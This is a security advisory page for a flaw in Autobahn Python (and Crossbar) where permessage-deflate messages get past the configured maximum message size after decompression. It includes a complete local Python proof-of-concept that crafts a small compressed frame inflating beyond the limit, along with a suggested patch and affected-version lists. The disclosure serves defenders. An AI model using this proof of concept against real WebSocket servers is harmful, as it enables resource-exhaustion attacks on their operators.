GHSA-hxp9-w8x3-p566

Suggest an improvement
Source
https://github.com/advisories/GHSA-hxp9-w8x3-p566
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-hxp9-w8x3-p566/GHSA-hxp9-w8x3-p566.json
JSON Data
https://api.test.osv.dev/v1/vulns/GHSA-hxp9-w8x3-p566
Aliases
Published
2026-09-22T20:37:28Z
Modified
2026-09-22T21:00:06Z
Severity
  • 5.3 (Medium) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L CVSS Calculator
Summary
Autobahn Python permessage-deflate bypasses maxMessagePayloadSize after inflation
Details

Summary

Autobahn Python enforces maxMessagePayloadSize against the compressed WebSocket frame length before permessage-deflate inflation, then delivers the inflated message to application callbacks without a second size check. A client frame that is only 22 compressed bytes can inflate to 4096 bytes and reach onMessage even when the application configured a 128-byte message limit, defeating the resource boundary the option is meant to provide.

Details

The permessage-deflate path installs a PerMessageDeflate instance when the server accepts a client offer in src/autobahn/websocket/protocol.py:3371. The common PerMessageDeflateOfferAccept(offer) path leaves max_message_size at its default None in src/autobahn/websocket/compress_deflate.py:295, and that value is copied into the compressor object in src/autobahn/websocket/compress_deflate.py:723. When a data frame arrives with RSV1 set, Autobahn marks the message compressed in src/autobahn/websocket/protocol.py:1812, calls onMessageFrameBegin with the compressed frame length, and increments message_data_total_length by that pre-inflate length in src/autobahn/websocket/protocol.py:634; the configured message cap is enforced against the same compressed accounting at src/autobahn/websocket/protocol.py:636. Only after those checks does Autobahn inflate the payload in src/autobahn/websocket/protocol.py:1861; because max_message_size is None, src/autobahn/websocket/compress_deflate.py:812 calls zlib without an output cap. The inflated bytes are then passed to onMessageFrameData in src/autobahn/websocket/protocol.py:1882, appended for WebSocket version 13 without adding their inflated length to the message counter at src/autobahn/websocket/protocol.py:667, joined in src/autobahn/websocket/protocol.py:690, and delivered through _onMessage in src/autobahn/websocket/protocol.py:693. This is the same structural boundary mistake as CVE-2016-10544: a compressed-size check is treated as if it bounded the decompressed application message.

Reproduction

import sys
import types
import zlib


if len(sys.argv) != 2:
    raise SystemExit("usage: autobahn_deflate_limit_poc.py <autobahn-python-source-dir>")

SRC = sys.argv[1]


class _Log:
    def debug(self, *args, **kwargs):
        pass

    def warn(self, *args, **kwargs):
        pass

    def error(self, *args, **kwargs):
        pass


class _Timer:
    def call_later(self, *args, **kwargs):
        return self

    def cancel(self):
        pass


txaio = types.ModuleType("txaio")
txaio.make_logger = lambda: _Log()
txaio.create_future = lambda result=None: result
txaio.resolve = lambda future, value=None: None
txaio.reject = lambda future, error=None: None
txaio.add_callbacks = (
    lambda future, callback=None, errback=None: callback(future) if callback else None
)
txaio.as_future = lambda fn, *args, **kwargs: fn(*args, **kwargs)
txaio.failure_format_traceback = lambda err: str(err)
txaio.call_later = lambda *args, **kwargs: _Timer()
txaio.make_batched_timer = lambda *args, **kwargs: _Timer()
txaio.time_ns = lambda: 0
txaio.use_asyncio = lambda: None
txaio.use_twisted = lambda: None
sys.modules["txaio"] = txaio

hyperlink = types.ModuleType("hyperlink")


class _URL:
    @classmethod
    def from_text(cls, text):
        return cls(text)

    def __init__(self, text):
        self._text = text

    def to_uri(self):
        return self

    def normalize(self):
        return self

    def to_text(self):
        return self._text


hyperlink.URL = _URL
sys.modules["hyperlink"] = hyperlink

wamp_types = types.ModuleType("autobahn.wamp.types")


class TransportDetails:
    pass


wamp_types.TransportDetails = TransportDetails
sys.modules["autobahn.wamp.types"] = wamp_types

sys.path.insert(0, SRC + "/src")

from autobahn.websocket.compress_deflate import PerMessageDeflate
from autobahn.websocket.protocol import WebSocketProtocol


class _Factory:
    isServer = True
    requireMaskedClientFrames = True
    maskServerFrames = False
    utf8validateIncoming = True
    applyMask = True
    maxFramePayloadSize = 128
    maxMessagePayloadSize = 128
    autoFragmentSize = 0
    failByDrop = True
    echoCloseCodeReason = False
    openHandshakeTimeout = 5
    closeHandshakeTimeout = 1
    tcpNoDelay = True
    autoPingInterval = 0
    autoPingTimeout = 0
    autoPingSize = 12
    autoPingRestartOnAnyTraffic = True
    logOctets = False
    logFrames = False
    trackTimings = False
    versions = WebSocketProtocol.SUPPORTED_PROTOCOL_VERSIONS
    webStatus = False
    perMessageCompressionAccept = staticmethod(lambda offer: None)
    serveFlashSocketPolicy = False
    flashSocketPolicy = ""
    allowedOrigins = ["*"]
    allowedOriginsPatterns = []
    allowNullOrigin = True
    maxConnections = 0
    trustXForwardedFor = 0
    _batched_timer = _Timer()


class CapturingProtocol(WebSocketProtocol):
    CONFIG_ATTRS = WebSocketProtocol.CONFIG_ATTRS_COMMON + WebSocketProtocol.CONFIG_ATTRS_SERVER

    def __init__(self):
        super().__init__()
        self.delivered = None

    def _onMessageBegin(self, isBinary):
        self.onMessageBegin(isBinary)

    def _onMessageFrameBegin(self, length):
        self.onMessageFrameBegin(length)

    def _onMessageFrameData(self, payload):
        self.onMessageFrameData(payload)

    def _onMessageFrameEnd(self):
        self.onMessageFrameEnd()

    def _onMessageFrame(self, payload):
        self.onMessageFrame(payload)

    def _onMessageEnd(self):
        self.onMessageEnd()

    def _onMessage(self, payload, isBinary):
        self.delivered = payload

    def sendData(self, data, sync=False, chopsize=None):
        pass

    def dropConnection(self, abort=True):
        self.droppedByMe = True
        self.state = WebSocketProtocol.STATE_CLOSED


def masked_compressed_text_frame(payload):
    compressor = zlib.compressobj(zlib.Z_DEFAULT_COMPRESSION, zlib.DEFLATED, -15)
    compressed = compressor.compress(payload) + compressor.flush(zlib.Z_SYNC_FLUSH)
    compressed = compressed[:-4]
    mask = b"\x11\x22\x33\x44"
    masked = bytes(b ^ mask[i % 4] for i, b in enumerate(compressed))
    if len(compressed) <= 125:
        header = bytes([0xC1, 0x80 | len(compressed)])
    elif len(compressed) <= 65535:
        header = bytes([0xC1, 0x80 | 126]) + len(compressed).to_bytes(2, "big")
    else:
        raise RuntimeError("compressed fixture too large")
    return header + mask + masked, len(compressed)


limit = 128
inflated = b"X" * 4096
frame, compressed_len = masked_compressed_text_frame(inflated)
if compressed_len >= limit:
    raise SystemExit("compressed fixture does not pass pre-inflate limit")

proto = CapturingProtocol()
proto.factory = _Factory()
proto.log = _Log()
proto._connectionMade()
proto._perMessageCompress = PerMessageDeflate(
    is_server=True,
    server_no_context_takeover=False,
    client_no_context_takeover=False,
    server_max_window_bits=15,
    client_max_window_bits=15,
    mem_level=8,
    max_message_size=None,
)
proto.state = WebSocketProtocol.STATE_OPEN
proto.inside_message = False
proto.current_frame = None
proto.websocket_version = 13

proto._dataReceived(frame)

delivered_len = len(proto.delivered or b"")
if delivered_len > limit and not proto.wasMaxMessagePayloadSizeExceeded:
    print(
        "AUTOBAHN_DEFLATE_LIMIT_BYPASS "
        f"delivered_length={delivered_len} configured_limit={limit} "
        f"compressed_length={compressed_len}"
    )
    raise SystemExit(0)

print(
    "guarded "
    f"delivered_length={delivered_len} configured_limit={limit} "
    f"compressed_length={compressed_len} "
    f"max_exceeded={proto.wasMaxMessagePayloadSizeExceeded}"
)
raise SystemExit(1)

Impact

A remote unauthenticated WebSocket client can exercise this when the target endpoint accepts permessage-deflate offers and relies on maxMessagePayloadSize as its per-message resource limit. The attack sends a valid masked compressed text or data frame with RSV1 set and a compressed length below the configured frame/message caps; those pre-inflate checks pass, and the default accept-object path also bypasses the optional inflater-level max_message_size cap because it remains None. The user-visible effect is that application handlers may allocate, validate, join, and process inflated messages larger than the configured limit, enabling resource-exhaustion pressure on affected permessage-deflate endpoints. The local artifact demonstrates availability impact only, not confidentiality or integrity compromise.

Suggested fix

diff --git a/src/autobahn/websocket/protocol.py b/src/autobahn/websocket/protocol.py
index 3c060804..4514e3cb 100644
--- a/src/autobahn/websocket/protocol.py
+++ b/src/autobahn/websocket/protocol.py
@@ -1869,6 +1869,17 @@ class WebSocketProtocol:
             if self.state == WebSocketProtocol.STATE_OPEN:
                 self.trafficStats.incomingOctetsWebSocketLevel += compressedLen
                 self.trafficStats.incomingOctetsAppLevel += uncompressedLen
+
+            if self._isMessageCompressed:
+                self.message_data_total_length += uncompressedLen - compressedLen
+                if 0 < self.maxMessagePayloadSize < self.message_data_total_length:
+                    self.wasMaxMessagePayloadSizeExceeded = True
+                    self._max_message_size_exceeded(
+                        self.message_data_total_length,
+                        self.maxMessagePayloadSize,
+                        f"received WebSocket message size {self.message_data_total_length} exceeds payload limit of {self.maxMessagePayloadSize} octets",
+                    )
+                    return False
 
             # incrementally validate UTF-8 payload
             #

Reported by Team Atlanta.

Database specific
{
    "cwe_ids":  [
        "CWE-409",
        "CWE-770"
    ],
    "github_reviewed":  true,
    "github_reviewed_at":  "2026-09-22T20:37:28Z",
    "nvd_published_at":  "2026-09-18T20:17:22Z",
    "severity":  "MODERATE"
}
References

Affected packages

PyPI / autobahn

Package

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0 Unknown introduced version / All previous versions are affected
Fixed
26.7.1

Affected versions

0.*
0.3.1
0.3.2
0.4.0
0.4.1
0.4.2
0.4.3
0.4.10
0.5.0
0.5.1
0.5.2
0.5.5
0.5.8
0.5.9
0.5.14
0.6.3
0.6.4
0.6.5
0.7.0
0.7.1
0.7.2
0.7.3
0.7.4
0.8.0
0.8.1
0.8.2
0.8.3
0.8.4
0.8.4-2
0.8.4-3
0.8.5
0.8.6
0.8.7
0.8.8
0.8.9
0.8.10
0.8.11
0.8.12
0.8.13
0.8.14
0.8.15
0.9.0
0.9.1
0.9.2
0.9.3
0.9.3-2
0.9.3-3
0.9.4
0.9.4-2
0.9.5
0.9.6
0.10.0
0.10.1
0.10.2
0.10.3
0.10.4
0.10.5
0.10.5.post2
0.10.6
0.10.7
0.10.8
0.10.9
0.11.0
0.12.0
0.12.1
0.13.0
0.13.1
0.14.0
0.14.1
0.15.0
0.16.0
0.16.1
0.17.0
0.17.1
0.17.2
0.18.0
0.18.1
0.18.2
17.*
17.5.1
17.6.1
17.6.2
17.7.1
17.8.1
17.9.1
17.9.2
17.9.3
17.10.1
18.*
18.3.1
18.4.1
18.5.1
18.5.2
18.6.1
18.7.1
18.8.1
18.8.2
18.9.1
18.9.2
18.10.1
18.11.1
18.11.2
18.12.1
19.*
19.1.1
19.2.1
19.3.1
19.3.2
19.3.3
19.5.1
19.6.1
19.6.2
19.7.1
19.7.2
19.8.1
19.9.1
19.9.2
19.9.3
19.10.1
19.11.1
19.11.2
20.*
20.1.2
20.1.3
20.2.1
20.2.2
20.3.1
20.4.1
20.4.2
20.4.3
20.6.1
20.6.2
20.7.1
20.12.1
20.12.2
20.12.3
21.*
21.1.1
21.2.1
21.2.2
21.3.1
21.11.1
22.*
22.1.1
22.2.1
22.2.2
22.3.1
22.3.2
22.4.1
22.4.2
22.5.1
22.6.1
22.7.1
22.12.1
23.*
23.1.1
23.1.2
23.6.1
23.6.2
24.*
24.4.2
25.*
25.9.1
25.10.1
25.10.2
25.11.1
25.12.1
25.12.2
26.*
26.6.1
26.6.2

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-hxp9-w8x3-p566/GHSA-hxp9-w8x3-p566.json"

PyPI / crossbar

Package

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0 Unknown introduced version / All previous versions are affected
Fixed
26.7.1

Affected versions

0.*
0.8.1
0.8.2
0.8.3
0.9.0
0.9.0-2
0.9.0-3
0.9.0-4
0.9.0-5
0.9.0-6
0.9.0-7
0.9.1
0.9.2
0.9.3
0.9.4
0.9.4-2
0.9.4-3
0.9.5
0.9.6
0.9.6-2
0.9.7
0.9.7-2
0.9.7-3
0.9.7-4
0.9.7-5
0.9.7-6
0.9.8
0.9.8-2
0.9.8-3
0.9.8-4
0.9.8-5
0.9.9
0.9.10
0.9.11
0.9.12
0.9.12-2
0.10.0
0.10.1
0.10.2
0.10.3
0.10.4
0.11.0
0.11.1
0.11.2
0.12.1
0.13.0
0.13.1
0.13.2
0.14.0
0.15.0
16.*
16.10.0
16.10.1
17.*
17.2.1
17.3.1
17.5.1
17.6.1.post3
17.8.1.post1
17.9.1
17.9.2
17.10.1
17.11.1
17.12.1
18.*
18.3.1
18.4.1
18.5.1
18.5.2
18.6.1
18.7.1
18.7.2
18.9.2
18.10.1.post1
18.11.1
18.11.2
18.12.1
19.*
19.1.1
19.1.2
19.2.1
19.3.1
19.3.5
19.5.1
19.6.1
19.6.2
19.7.1
19.9.1
19.10.1
19.11.1
20.*
20.1.1
20.1.2
20.2.1
20.4.1
20.4.2
20.6.1
20.6.2
20.7.1
20.8.1
20.12.1
20.12.2
20.12.3
21.*
21.1.1
21.2.1
21.3.1
22.*
22.1.1
22.2.1
22.3.1
22.4.1
22.5.1
22.6.1
25.*
25.12.1
26.*
26.4.1.dev1
26.6.1

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-hxp9-w8x3-p566/GHSA-hxp9-w8x3-p566.json"